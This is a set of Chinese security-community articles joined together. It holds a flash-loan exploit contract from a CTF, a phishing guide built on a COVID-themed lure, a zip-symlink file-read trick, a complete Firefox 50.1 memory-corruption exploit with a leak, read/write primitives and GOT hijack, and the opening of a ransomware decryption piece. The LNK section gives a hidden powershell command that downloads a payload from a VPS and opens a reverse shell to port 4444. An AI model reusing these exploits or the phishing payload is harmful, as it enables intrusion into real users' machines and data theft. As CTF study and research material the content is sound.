那么我们就可以了解到他每一次在buyGamePoints时和sellgamePoints的时候都会计算一遍当前的兑换汇率。如果我们能利用闪电贷的方法，首先贷款BSN买IDL，这样IDL的整体汇率就会下降，可以买到更多的IDL，闪电贷结束之后BSN总值恢复。IDL的价值也会上升，把额外的IDL在高价卖出。这样反复循环，就可以实现利润的赚取了。
* * *
## 具体代码部署
Setup是唯一需要部署的，可能是作者为了部署题目方便写的一个合约。
只能在Ropsten上测试，因为Bancor协议合约在Ropsten上。
题目里面的uint randnumber是为了正式比赛 防止上车用的。自己部署随便填个数字进去就可以了。
部署之后就可以再把另外两个合约直接At Address上去了
写出解题合约如下:
借鉴了<https://github.com/perfectblue/ctf-writeups/tree/master/2020/BalsnCTF/IdleGame>
contract hack{
address public IDLE=0x3C58715D56513Fd8cE364AB3e797f5D90f346381;
address public BALN=0x47897d8B51e55F9AeC4aB0f871F4b85DC3a16776;
uint public myIDLE;
uint public temp;
uint public loan=99056419041694676677800000000000000002;
bool public first;
IdleGame IDL=IdleGame(IDLE);
BalsnToken BSL=BalsnToken(BALN);
uint public boo;
function exp()public{
BSL.approve(IDLE,uint(-1));
BSL.giveMeMoney();
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
IDL.giveMeFlag();
}
function executeOnFlashMint(uint amount) external{
if(first==false)
{
myIDLE=IDL.buyGamePoints(1);
first=true;
}
else{
myIDLE=IDL.buyGamePoints(temp);
}
}
} | 社区文章 |
# 一次假想的LNK钓鱼攻击
## 演练流程
### 目标及规定
为了获取A集团的资料信息，但目标web网站防护很好，现在收集了A集团一些员工的邮箱，只能通过钓鱼进行攻击。
### 工具
由于这是一次隐蔽的行动，所有工具尽可能的使用敌对开源软件。
来自某国的开源软件：Ladon、一份加密的有关新冠疫苗的文档、以及用来释放Ladon的LNK文件。
### 攻击流程图
## 实施
### 制作加密文档
文档主题根据目标公司性质来决定，如果是进行广撒网式的攻击，可以选择当地国家/地区热点事件，比如新冠疫苗XXXX,这里我采用的是 **最新!持 _核酸检测_
阴性结果返乡不需要 _隔离_
，不需要去写什么密码提示，比如查看pasword.txt之类的，这很容易引起怀疑，按照惯性，他/她看见有密码会下意识去点击我们的LNK文件**
### LNK文件制作
LNK文件最核心的代码是这个
#a.exe即是Ladon
cmd.exe /c (echo ”hello“ >D:\test\1\password.txt & start /b D:\test\1\password.txt) & (powershell.exe -nop -w hidden iwr -outf D:\test\1\nc.exe http://vps/download/a.exe & D:\test\1\nc.exe ReverseTcp 192.168.12.201 4444 nc)
上面这一串cmd命令的意思是把“hello"写入D:\test\1\password.txt，并打开这个文件，然后从vps服务器上下载a.exe到D:\test\1\目录下命名为nc.exe，最后执行nc.exe
ReverseTcp vps 4444 nc 反弹shell到我的vps 监听nc上。
最后把这两个文件打包即可。
## 模拟目标行为
点击password.txt会释放nc.exe和password.txt到D:\test\1
查看我们的监听可以看到已经上线了。 | 社区文章 |
# 前言
给你一个黑盒测试环境：可以上传任意文件，文件将在上传完成后被读取并将内容返回至网页。请问如何利用这点进行攻击？
如果你的答案只有 “构造突破上传路径” “尝试突破文件拓展名以getshell” “尝试利用解析漏洞”，那么这篇文章的思考也许会给你带来一些帮助。
# 环境及确认
这个问题是我在做一道CTF题目时所遇到的，题目给出了一个站点，打开内容如下
题目的玩法很清楚，上传一个zip压缩包，程序会进行解压，指定要读取的文件名，文件内容将被返回至网页。
我们先对普通的文件进行解压，构造一个存在1.txt的压缩包，内容为`hello world`
网页返回`hello world`，毫无疑问。
# 尝试攻击读取路径
我们先尝试一下跨目录读取文件--先想办法获取到站点目录，我们尝试解压不存在的`2.txt`，程序返回一个Warning级别的报错`Warning:
file_get_contents(/tmp/dir_hackme5_5809325816847423574698891475912692524028/2.txt):
failed to open stream: No such file or directory in
/home/hackme5/task/index.php on line 41`，由此我们获取到了当前文件位置。
尝试一下extract`../../../../../../../../../../home/hackme5/task/index.php`，却提示`hax0r
no!`，想必是存在过滤，使用`/home/hackme5/task/index.php`同样被过滤了，测试发现是`/`字符被检测，而`\`
字符在linux又不能完成路径的作用。
但是不能轻言放弃，于是我开了burp进行了字符的fuzz，使用迭代器创建%00~%ff并为payload使用urldecode选项，在`/`
和路径开头、结尾处放置payload，但结果一无所获，没有任何值得欣喜的结果产生。（不过因为当时测试的时候发现容易把网站跑出点问题，所以复现的时候就不再进行fuzz了，所以关于fuzz部分都不再截图，不过这也并不是正确解法，所以也无关紧要。对站点进行fuzz的话，需要注意速度，不然网站可能承受不了。）
失败了吗？是的，几乎可以确定，文件读取路径不是可以攻击的目标。
# 尝试构造特殊压缩文件
在构造读取路径失败之后，第一件做的事就是构造路径为`../../../../../home/hackme5/task/shell.php`的压缩包，但是失败了。这是是十分值得尝试的攻击，我还使用了burp对上传的压缩包内的路径进行fuzz，希望能得到一点启发，但是并没有成功getshell。
仔细想想，既然过滤了`/`，也就表示如果存在目录结构，那么可能会出一些问题。我们可以尝试一下构造存在目录结构的压缩包，当然，另一方面，我们更应该尝试一下通过在压缩包中构造`../`这类路径来尝试突破解压路径，如果成功了，就意味着我们可以getshell。
我们先尝试一下构造目录。
此时在压缩包中，存在`test/1.txt`这样的结构，我们试着上传并读取`1.txt`。
可以看到的是，程序直接解压了位于`test/1.txt`中的文件。这似乎有点不太有利于攻击。我们在不同层级目录下创建同名`1.txt`文件测试，test文件夹内的内容为`hello
world`，test文件夹外的内容为`hello me`。
可以看到，程序报了一个错误，并且最后解压出的文件为`test`文件夹内的文件。此时我们可以大概猜测一件事情：程序将压缩文件进行解压的时候，处理了路径问题，将文件解压到了同一目录下。
此外，根据报错提示，我们还可以猜测，php代码使用了类似`system('code')`的形式调用了其他程序，实际上根据后面的`[y]es, [n]o,
[A]ll, [N]one, [r]ename: NULL (EOF or read error, treating as "[N]one"
...)`，我们可以从谷歌或者根据经验来推断出，调用的是`unzip`。
或许我们还需要更多的报错信息，当我们输入为空时，报错内容如下
我们还可以从burp的fuzz返回信息中获取一些其他的信息，以保证信息的完整。总之这些报错内容都提供了一点“程序使用 **unzip -j** 来进行解压”
总之，对压缩包进行任何的构造，都是徒劳的，除非构造一个带有unzip的0day的压缩包，但是我Google了一圈，并没有适用的相关消息。
失败了吗？是的，我很确信无论如何对压缩包进行构造，都产生不了危害，顶多是让php报一些warning。
# 思考，解决方案
我们先来理一下程序的逻辑。
首先，将压缩包进行不带目录的解压到一个`/tmp`目录下随机的文件夹里，然后从文件夹里读取我们想要的文件名，但无法带路径。
随机的文件夹能否控制？确定不能
读取的文件路径能否控制？确定不能
文件解压能否跳出路径？确定不能
这个控制是否安全？如果是我的话会怎么写？
想到最后一个问题的时候，我想了想，是的，控制是安全的，如果是我我也会这么写。
想到这里，我想，唯一能攻击的点就是读取的文件本身了。我们需要一个特殊的文件。如果…文件能够重定向的话…于是我想到了软连接。
linux下的软连接和Windows下的快捷方式类似，都是一个文件，但是不同的是，windows资源管理器可以直接操作快捷方式本身，而Linux下的操作默认往往是直接操作软连接指向的对象。
比如，在Windows下，我们可以使用vim对`.lnk`文件进行编辑读取，但是同样的命令，在linux下，操作的就是软连接指向的对象。
想到这里，我测试了一下php中的`file_get_contents`函数是否同样如此
结果是显然成立的。由此我们就可以尝试利用软链接来达到任意文件读取的目的。
于是我们通过`ln -s /home/hackme5/task/index.php test`创建一个软链接，然后`zip -y 1.zip
test`来创建一个压缩包，使用`-y`参数以保证打包的是一个软链接文件，然后再来尝试一下这个新的压缩包。
于是我们成功的读到了`index.php`的内容，源码里面给出了flag。如果喜欢的话，读一读其他文件也未尝不可。
# 更多的思考
当我发现软链接的这种玩法时，有一丝兴奋，这意味着在一些情况下，我们可以把在线浏览变成任意读取，而不需要依靠其他方式跨路径，在另一个角度看来，这就像是“角色伪造”，当程序根据一些可控文件的内容从而进行一些流程判定时，的确将有引发漏洞的可能。
沿着软链接产生判定错误的思路，我搜索了一下，看到了这篇[GitLab
任意文件读取漏洞](https://paper.seebug.org/104/)的分析，其中一步同样利用到了软连接。
而在ph师傅的小密圈里找到了另一个相关案例[CVE-2016-1247](http://blog.knownsec.com/2016/11/nginx-exploit-deb-root-privesc-cve-2016-1247/)，不过不便贴出原文，这里给出的是来自知道创宇的分析。
上面给出的两个案例，一个产生了任意读取的作用，另一个影响了程序的流程判定，已经把我能想到的两点攻击都展现出来了。
对于软连接而言，修改和读取软连接，默认情况下读取的是软连接指向的对象，而删除软连接，则是删除软连接自身，因此基于软连接的攻击并不适合那种“检查后判断是否删除”的流程（不会造成源文件删除，也就不会产生任意文件删除），此外还需要目标平台为`*uix`，有一点局限性，但起码提供了一些新的思路。 | 社区文章 |
# firefox pwn 入门 - 33c3 feuerfuchs 复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
学习firefox上的漏洞利用, 找了`33c3ctf` saelo 出的一道题目`feuerfuchs`, 这里记录一下学习的过程， 比较基础。
## 环境搭建
firefox
版本为[`50.1.0`](https://ftp.mozilla.org/pub/firefox/releases/50.1.0/source/firefox-50.1.0.source.tar.xz),版本比较老了，在`ubuntu
1604` 下编译不会出现问题，先把源码下载下来, 题目文件在[这里](https://github.com/saelo/feuerfuchs) 下载
进入源码目录，打上patch之后编译即可,
// patch
root@prbv:~/firefox-50.1.0# patch -p1 < feuerfuchs.patch
// 获取依赖 ， 都默认配置即可
root@prbv:~/firefox-50.1.0# ./mach bootstrap
// 编译， 完成之后在 obj-x86_64-pc-linux-gnu/dist/bin/firefox
root@prbv:~/firefox-50.1.0# ./mach build
// 安装到系统 这里是 /usr/local/bin/firefox
root@prbv:~/firefox-50.1.0# ./mach install
root@prbv:~/firefox-50.1.0# whereis firefox
firefox: /usr/lib/firefox /etc/firefox /usr/local/bin/firefox
搞定之后就可以直接shell 里`firefox` 启动，运行之后在`~/.mozilla/firefox` 目录下是firefox 的配置文件,
创建一个`user.js`, 设置 `user_pref("security.sandbox.content.level", 0);` ，
这样firefox 的沙箱就会关闭掉
root@prbv:~/.mozilla/firefox# ls
? Crash Reports mqj1mx8j.default-1589856246856 profiles.ini
root@prbv:~/.mozilla/firefox# cat profiles.ini
[General]
StartWithLastProfile=1
[Profile0]
Name=default-1589856246856
IsRelative=1
Path=mqj1mx8j.default-1589856246856
Default=1
root@prbv:~/.mozilla/firefox# cat mqj1mx8j.default-1589856246856/user.js
user_pref("security.sandbox.content.level", 0);
也可以在`firefox` 的`about:config` 里面查看
文章涉及的所有文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x07-33c3-feuerfuchs-side-effect)
## 漏洞分析
### patch 分析
首先看看题目给出的 patch
diff --git a/js/src/vm/TypedArrayObject.cpp b/js/src/vm/TypedArrayObject.cpp
//...
/* static */ const JSPropertySpec
TypedArrayObject::protoAccessors[] = {
- JS_PSG("length", TypedArray_lengthGetter, 0),
JS_PSG("buffer", TypedArray_bufferGetter, 0),
+ JS_PSGS("length", TypedArray_lengthGetter, TypedArray_lengthSetter, 0),
JS_PSG("byteLength", TypedArray_byteLengthGetter, 0),
+ JS_PSGS("offset", TypedArray_offsetGetter, TypedArray_offsetSetter, 0),
JS_PSG("byteOffset", TypedArray_byteOffsetGetter, 0),
JS_PS_END
};
//............
jsapi.h:#define JS_PSGS(name, getter, setter, flags)
给`length` 添加了一个setter`TypedArray_lengthSetter` , 然后还多了一个 `offset` 的 getter 和
setter
`lengthSetter` 在类似`a=new Uint8Array(new ArrayBuffer(0x10)); a.length = 0x20`
的时候调用，会检查传入的 `newLength` 是否越界
diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h
//...
+ static bool lengthSetter(JSContext* cx, Handle<TypedArrayObject*> tarr, uint32_t newLength) {
+ if (newLength > tarr->length()) {
+ // Ensure the underlying buffer is large enough
+ ensureHasBuffer(cx, tarr);
+ ArrayBufferObjectMaybeShared* buffer = tarr->bufferEither();
// 检查是否越界
+ if (tarr->byteOffset() + newLength * tarr->bytesPerElement() > buffer->byteLength())
+ return false;
+ }
+
+ tarr->setFixedSlot(LENGTH_SLOT, Int32Value(newLength));
+ return true;
+ }
`offsetGetter` 就是返回`offset` 这个属性而已, `offsetSetter` 传入一个 `newOffset` ,
TypeArray 整体`offset + length` 为实际分配的内存大小， 如`a=new Uint8Array(new
ArrayBuffer(0x60))` 这样初始化后`offset ==0; length == 0x60`, 然后假如`a.offset =
0x58`执行后，就会有`offset == 0x58; length == 0x8，` offset 为当前读写的指针， 类似文件的`lseek`
diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h
index 6ac951a..3ae8934 100644
--- a/js/src/vm/TypedArrayObject.h
+++ b/js/src/vm/TypedArrayObject.h
@@ -135,12 +135,44 @@ class TypedArrayObject : public NativeObject
MOZ_ASSERT(v.toInt32() >= 0);
return v;
}
+ static Value offsetValue(TypedArrayObject* tarr) {
+ return Int32Value(tarr->getFixedSlot(BYTEOFFSET_SLOT).toInt32() / tarr->bytesPerElement());
+ }
+ static bool offsetSetter(JSContext* cx, Handle<TypedArrayObject*> tarr, uint32_t newOffset) {
+ // Ensure that the new offset does not extend beyond the current bounds
// 越界检查
+ if (newOffset > tarr->offset() + tarr->length())
+ return false;
+
+ int32_t diff = newOffset - tarr->offset();
+
+ ensureHasBuffer(cx, tarr);
+ uint8_t* ptr = static_cast<uint8_t*>(tarr->viewDataEither_());
+
+ tarr->setFixedSlot(LENGTH_SLOT, Int32Value(tarr->length() - diff));
+ tarr->setFixedSlot(BYTEOFFSET_SLOT, Int32Value(newOffset * tarr->bytesPerElement()));
+ tarr->setPrivate(ptr + diff * tarr->bytesPerElement());
+
+ return true;
+ }
到这里没有什么问题， 但是这里`offsetSetter` 没有考虑到`side-effect`的情况
### 漏洞分析
在`js/src/builtin/TypedArray.js` 里可以找到`TypeArray` 绑定的一些函数,
主要看`TypedArrayCopyWithin` 函数，它会在`a.copyWithin(to, from, end)` 的时候调用,
作用是把`from` 到`end` 的项拷贝到`to` 开始的地方，像下面，`'c'， 'd'` 被拷贝到了 `index == 0` 处
js> a=['a','b','c','d','e']
["a", "b", "c", "d", "e"]
js> a.copyWithin(0,2,3)
["c", "b", "c", "d", "e"]
js> a.copyWithin(0,2,4)
["c", "d", "c", "d", "e"]
这里假设还是`a=new Uint8Array(new ArrayBuffer(0x60))` , 执行`a.copyWithin(0,
0x20,0x28)`
function TypedArrayCopyWithin(target, start, end = undefined) {
// This function is not generic.
if (!IsObject(this) || !IsTypedArray(this)) {
return callFunction(CallTypedArrayMethodIfWrapped, this, target, start, end,
"TypedArrayCopyWithin");
}
GetAttachedArrayBuffer(this);
var obj = this;
// len == 0x60
var len = TypedArrayLength(obj);
var relativeTarget = ToInteger(target);
// to == 0
var to = relativeTarget < 0 ? std_Math_max(len + relativeTarget, 0)
: std_Math_min(relativeTarget, len);
var relativeStart = ToInteger(start);
// from == 0x20
var from = relativeStart < 0 ? std_Math_max(len + relativeStart, 0)
: std_Math_min(relativeStart, len);
var relativeEnd = end === undefined ? len
: ToInteger(end);
// final == 0x28
var final = relativeEnd < 0 ? std_Math_max(len + relativeEnd, 0)
: std_Math_min(relativeEnd, len);
// count == 0x8
var count = std_Math_min(final - from, len - to);
//.. memmove
if (count > 0)
MoveTypedArrayElements(obj, to | 0, from | 0, count | 0);
// Step 18.
return obj;
}
这里首先获取了`len == 0x60` , 然后用`ToInteger` 分别获取`start` 和 `end` 的值，这里其实就和saelo发现的jsc
`cve-2016-4622` 差不多，先获取了len, 但是在`ToInteger` 里面`len` 可能会被更改，加入运行下面代码
a.copyWithin({
valueOf: function() {
a.offset = 0x58 ;
return 0x0;
} }, 0x20, 0x28);
计算`to` 的时候`ToInteger(target);` 会先执行`ValueOf` 的代码， 完了`offset == 0x58 ; length
== 0x8`, 后续的`MoveTypedArrayElements` 的读写会从`a[0x58]` 开始， 于是就有了越界。
测试一下
// 创建两个 ArrayBuffer， 他们内存布局上会相邻
js> a=new ArrayBuffer(0x60);
js> b=new ArrayBuffer(0x60);
js> dumpObject(a)
object 0x7ffff7e85100 from global 0x7ffff7e85060 [global]
//...
js> dumpObject(b)
object 0x7ffff7e851a0 from global 0x7ffff7e85060 [global]
//...........................
pwndbg> x/40gx 0x7ffff7e85100
// a
0x7ffff7e85100: 0x00007ffff7e82880 0x00007ffff7ea9240
0x7ffff7e85110: 0x0000000000000000 0x000055555660c2e0
0x7ffff7e85120: 0x00003ffffbf428a0 0xfff8800000000060
0x7ffff7e85130: 0xfffc000000000000 0xfff8800000000000
0x7ffff7e85140: 0x0000000000000000 0x0000000000000000
0x7ffff7e85150: 0x0000000000000000 0x0000000000000000
0x7ffff7e85160: 0x0000000000000000 0x0000000000000000
0x7ffff7e85170: 0x0000000000000000 0x0000000000000000
0x7ffff7e85180: 0x0000000000000000 0x0000000000000000
0x7ffff7e85190: 0x0000000000000000 0x0000000000000000
// b
0x7ffff7e851a0: 0x00007ffff7e82880 0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000 0x000055555660c2e0
0x7ffff7e851c0: 0x00003ffffbf428f0 0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000 0xfff8800000000000
0x7ffff7e851e0: 0x0000000000000000 0x0000000000000000
0x7ffff7e851f0: 0x0000000000000000 0x0000000000000000
js> test = new Uint8Array(a)
js> hax = {valueOf: function(){test.offset = 0x58; return 0;}}
js> test.copyWithin(hax,0x20,0x28)
// 执行之后
pwndbg> x/40gx 0x7ffff7e85100
// a
0x7ffff7e85100: 0x00007ffff7e82880 0x00007ffff7ea9240
0x7ffff7e85110: 0x0000000000000000 0x000055555660c2e0
0x7ffff7e85120: 0x00003ffffbf428a0 0xfff8800000000060
0x7ffff7e85130: 0xfffe7ffff3d003a0 0xfff8800000000000
0x7ffff7e85140: 0x0000000000000000 0x0000000000000000
0x7ffff7e85150: 0x0000000000000000 0x0000000000000000
0x7ffff7e85160: 0x0000000000000000 0x0000000000000000
0x7ffff7e85170: 0x0000000000000000 0x0000000000000000
0x7ffff7e85180: 0x0000000000000000 0x0000000000000000
// offset == 0x58
0x7ffff7e85190: 0x0000000000000000 0x000055555660c2e0//<==
// b
0x7ffff7e851a0: 0x00007ffff7e82880 0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000 0x000055555660c2e0//<===
0x7ffff7e851c0: 0x00003ffffbf428f0 0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000 0xfff8800000000000
0x7ffff7e851e0: 0x0000000000000000 0x0000000000000000
0x7ffff7e851f0: 0x0000000000000000 0x0000000000000000
0x7ffff7e85200: 0x0000000000000000 0x0000000000000000
可以看到 `b` 的 `0x000055555660c2e0` 被拷贝到了`a` 的内联数据里，这样就可以用`a` 获取 `ArrayBuffer b`
中的内存地址
## 漏洞利用
### 地址泄露
通过前面分析我们了解了漏洞的基本成因和效果，接下来就是这么利用了， 前面我们可以通过`copyWithIn` 来泄露`ArrayBuffer b` 的地址,
我们需要泄露出`0x000055555660c2e0` ， 和`0x00003ffffbf428f0` 这两个地址.
`0x000055555660c2e0` 在 jsshell 中指向js 的`emptyElementsHeaderShared`, 在完整的firefox
里指向 `libxul.so` ， 通过这个地址就可以泄露出 `libxul.so` 的地址。
`0x00003ffffbf428f0 <<1 == 0x7ffff7e851e0` 指向申请的buffer, 因为这里申请的是`0x60`
大小的，所以是以内联的方式，通过它可以泄露出`ArrayBuffer` 的地址
0x7ffff7e851a0: 0x00007ffff7e82880 0x00007ffff7ea9240
0x7ffff7e851b0: 0x0000000000000000 0x000055555660c2e0//<===
// data
0x7ffff7e851c0: 0x00003ffffbf428f0 0xfff8800000000060
0x7ffff7e851d0: 0xfffc000000000000 0xfff8800000000000
//....
pwndbg> vmmap 0x55555660c2e0
0x555555554000 0x555557509000 r-xp 1fb5000 0 /mozilla/firefox-50.1.0/js/src/build_DBG.OBJ/js/src/shell/js
// 0x00003ffffbf428f0 << 1 == 0x7ffff7e851e0
按照前面的描述，我们申请两个 `ArrayBuffer`
buffer1 = new ArrayBuffer(0x60);
buffer2 = new ArrayBuffer(0x60);
a1_8 = new Uint8Array(buffer1);
a1_32 = new Uint32Array(buffer1);
a1_64 = new Float64Array(buffer1);
hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x0; } };
a1_8.copyWithin(hax,0x20,0x28);
xul_base = f2i(a1_64[11]) -0x39b4bf0;
memmove_got = xul_base + 0x000004b1f160
//......................................
a1_8.offset = 0;
a1_8.copyWithin(hax,0x28,0x30);
buffer1_base = f2i(a1_64[11])*2 - 0xe0;
print("buffer1_base "+hex(buffer1_base));
gdb attach 上去看看
pwndbg> x/40gx 0x7fffcb243060
// buffer1
0x7fffcb243060: 0x00007fffc5acb2b0 0x00007fffc5acda10
0x7fffcb243070: 0x0000000000000000 0x00007fffeb97ebf0
0x7fffcb243080: 0x00003fffe5921850 0xfff8800000000060
0x7fffcb243090: 0xfffe7fffcb2180c0 0xfff8800000000000
0x7fffcb2430a0: 0x6162636461626364 0x0000000000000000
0x7fffcb2430b0: 0x0000000000000000 0x0000000000000000
0x7fffcb2430c0: 0x0000000000000000 0x0000000000000000
0x7fffcb2430d0: 0x0000000000000000 0x0000000000000000
0x7fffcb2430e0: 0x0000000000000000 0x0000000000000000
0x7fffcb2430f0: 0x0000000000000000 0x00003fffe59218a0
//buffer2
0x7fffcb243100: 0x00007fffc5acb2b0 0x00007fffc5acda10
0x7fffcb243110: 0x0000000000000000 0x00007fffeb97ebf0
0x7fffcb243120: 0x00003fffe59218a0 0xfff8800000000060
0x7fffcb243130: 0xfffe7fffcb218080 0xfff8800000000000
0x7fffcb243140: 0x3132333431323334 0x0000000000000000
0x7fffcb243150: 0x0000000000000000 0x0000000000000000
//....
pwndbg> vmmap 0x00007fffeb97ebf0
0x7fffe7fca000 0x7fffec68c000 r-xp 46c2000 0 /usr/local/lib/firefox-50.1.0/libxul.so
### 内存读写
接下来我们的做法是尝试把`buffer2` 的数据指针，也就是上面的`0x00003fffe59218a0` 改掉，
然后就可以内存读写了，这里是把它改到`buffer1` 的起始地址, 也就是`0x7fffcb243060`, 写入的是`0x7fffcb243060 >>
1 == 0x3fffe5921830`， 保存到`buffer2` 的第一项, 指定`hax` 返回值为`0x28` ，就可以覆盖掉原来的指针
a1_8.offset = 0;
hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x28; } };
a2_64[0]=i2f(buffer1_base/2);
a1_8.copyWithin(hax,0x48,0x50);
print(hex(f2i(a2_64[0])));
运行之后的内存布局如下(重新跑地址和前面不同)， 已经成功覆盖了， 接下来就可以用`buffer2[index] = xxx` 改 `buffer1`
的内容
// buffer 2
0x7fffcb243240: 0x00007fffc457abe0 0x00007fffbe951880
0x7fffcb243250: 0x0000000000000000 0x00007fffeb97ebf0
0x7fffcb243260: 0x00003fffe59218d0 0xfff8800000000060
0x7fffcb243270: 0xfffe7fffcb218300 0xfff8800000000000
// 0x00003fffe59218d0 << 1
0x7fffcb243280: 0x00003fffe59218d0 0x0000000000000000
0x7fffcb243290: 0x0000000000000000 0x0000000000000000
0x7fffcb2432a0: 0x0000000000000000 0x0000000000000000
0x7fffcb2432b0: 0x0000000000000000 0x0000000000000000
还是一样，把buffer1 的`length` 改大，然后数据的指针指向 `libxul.so` 的`memmove got`
，读一下就可以得到内存中`memmove` 的指针啦，然后就可以计算偏移算出 `libc` 的基地址。构造的任意地址读写代码如下
function read64(addr){
a2_32 = new Uint32Array(buffer2);
a2_64 = new Float64Array(buffer2);
a2_32[10]=0x1000;
a2_64[4]=i2f(addr/2);
leak = new Float64Array(buffer1);
return f2i(leak[0]);
}
function write64(addr,data){
a2_32 = new Uint32Array(buffer2);
a2_64 = new Float64Array(buffer2);
a2_32[10]=0x1000;
a2_64[4]=i2f(addr/2);
towrite = new Float64Array(buffer1);
towrite[0] = i2f(data);
}
memmove_addr = read64(memmove_got) ;
libc_base = memmove_addr - 0x14d9b0;
system_addr = libc_base + 0x0000000000045390;
print("libc_base "+hex(libc_base));
print("system_addr "+hex(system_addr));
### 代码执行
okay 现在已经有了任意地址读写的能力，基本上就可以做很多事情了， 在这个版本的firefox 下， libxul 的`memmove got`
还是放在可写的内存段, 这个时候就可以把它改成 `system` 的地址后续调用`copyWithin` 的时候就可以劫持控制流
pwndbg> telescope 0x7fffecae9160
00:0000│ 0x7fffecae9160 —▸ 0x7ffff6e989b0 (__memmove_avx_unaligned) ◂— mov rax, rdi
01:0008│ 0x7fffecae9168 —▸ 0x7ffff6d78e60 (tolower) ◂— lea edx, [rdi + 0x80] pwndbg> vmmap 0x7fffecae9160
0x7fffecae9000 0x7fffecb40000 rw-p 57000 4b1e000 /usr/local/lib/firefox-50.1.0/libxul.so
想下面这样，`target` 存入`/usr/bin/xcalc` , 然后执行`target.copyWithin(0, 1);`
内存中会执行类似`memmove("/usr/bin/xcalc",1)`， 然后就可以弹计算器啦 (新版本的firefox 这里的`memmove
got` 放在了rdata 段，默认不可写）
var target = new Uint8Array(100);
var cmd = "/usr/bin/xcalc";
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
target[cmd.length]=0;
write64(memmove_got,system_addr);
target.copyWithin(0, 1);
write64(memmove_got,memmove_addr);
## exp
完整exp 如下
`exp.html`
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: monospace;
}
</style>
<script src="exp.js"></script>
</head>
<body onload="pwn()">
<p>Please wait...</p>
</body>
</html>
`exp.js`
var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);
var BASE32 = 0x100000000;
function f2i(f) {
f64[0] = f;
return i32[0] + BASE32 * i32[1];
}
function i2f(i) {
i32[0] = i % BASE32;
i32[1] = i / BASE32;
return f64[0];
}
function hex(addr){
return '0x'+addr.toString(16);
}
function print(msg) {
console.log(msg);
document.body.innerText += 'n[+]: '+msg ;
}
function pwn(){
buffer1 = new ArrayBuffer(0x60);
buffer2 = new ArrayBuffer(0x60);
a1_8 = new Uint8Array(buffer1);
a1_32 = new Uint32Array(buffer1);
a1_64 = new Float64Array(buffer1);
a2_8 = new Uint8Array(buffer2);
a2_32 = new Uint32Array(buffer2);
a2_64 = new Float64Array(buffer2);
a1_32[0]=0x61626364;
a1_32[1]=0x61626364;
a2_32[0]=0x31323334;
a2_32[1]=0x31323334;
hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x0; } };
a1_8.copyWithin(hax,0x20,0x28);
xul_base = f2i(a1_64[11]) -0x39b4bf0;
memmove_got = xul_base + 0x000004b1f160
print("xul_base "+hex(xul_base));
// 0x7fffecae9160
print("memmove_got "+hex(memmove_got));
a1_8.offset = 0;
a1_8.copyWithin(hax,0x28,0x30);
buffer1_base = f2i(a1_64[11])*2 - 0xe0;
print("buffer1_base "+hex(buffer1_base));
a1_8.offset = 0;
hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x28; } };
a2_64[0]=i2f(buffer1_base/2);
a1_8.copyWithin(hax,0x48,0x50);
print(hex(f2i(a2_64[0])));
// leak libc addr
function read64(addr){
a2_32 = new Uint32Array(buffer2);
a2_64 = new Float64Array(buffer2);
a2_32[10]=0x1000;
a2_64[4]=i2f(addr/2);
leak = new Float64Array(buffer1);
return f2i(leak[0]);
}
function write64(addr,data){
a2_32 = new Uint32Array(buffer2);
a2_64 = new Float64Array(buffer2);
a2_32[10]=0x1000;
a2_64[4]=i2f(addr/2);
towrite = new Float64Array(buffer1);
towrite[0] = i2f(data);
}
memmove_addr = read64(memmove_got) ;
libc_base = memmove_addr - 0x14d9b0;
system_addr = libc_base + 0x0000000000045390;
print("libc_base "+hex(libc_base));
print("system_addr "+hex(system_addr));
var target = new Uint8Array(100);
var cmd = "/usr/bin/xcalc";
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
target[cmd.length]=0;
write64(memmove_got,system_addr);
target.copyWithin(0, 1);
write64(memmove_got,memmove_addr);
}
### 运行效果
运行效果如下, 因为这里禁用了`sandbox` 所以可以直接弹出计算器
## 小结
这里主要是复现了33c3 的`feuerfuchs` 这道题目，作为入门的case study，漏洞也是比较经典的类型, 整体来说还不错。
saelo 有给出了题目的[`docker 环境`](https://github.com/saelo/feuerfuchs) ,
里面的环境的配置也是十分值得学习。
## reference
<https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/#reference>
<https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#kaizenjs>
<https://github.com/m1ghtym0/write-ups/tree/master/browser/33c3ctf-feuerfuchs>
<https://github.com/saelo/feuerfuchs> | 社区文章 |
# 如何恢复勒索病毒hc7.exe加密的文件
##### 译文声明
本文是翻译文章，文章原作者 Michael Young and Ryan Zisk，文章来源：yrz.io
原文地址：<https://yrz.io/decrypting-hc7/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，我们发现某客户网络中存在一个恶意的终端，它能寻找弱凭据的服务器，并以外部RDP的方式访问，最终对服务器进行破坏。当成功入侵后，攻击者会在环境中放置一个新的勒索软件变体，并试图通过PsExec，将该恶意的可执行文件传播到整个域中。
我们所发现的恶意文件样本名称为hc7.exe，它会对计算机中的大量数据以及可执行文件进行加密。通过研究，我们成功找到了解密数据和文件的方法。在这里，还要特别提醒想进行解密复现的各位，你们不一定要安装下文中的Volatility，因为该工具只用于对内存进行分析。
我们首先简单地查阅了一些相关资料，发现[Michael
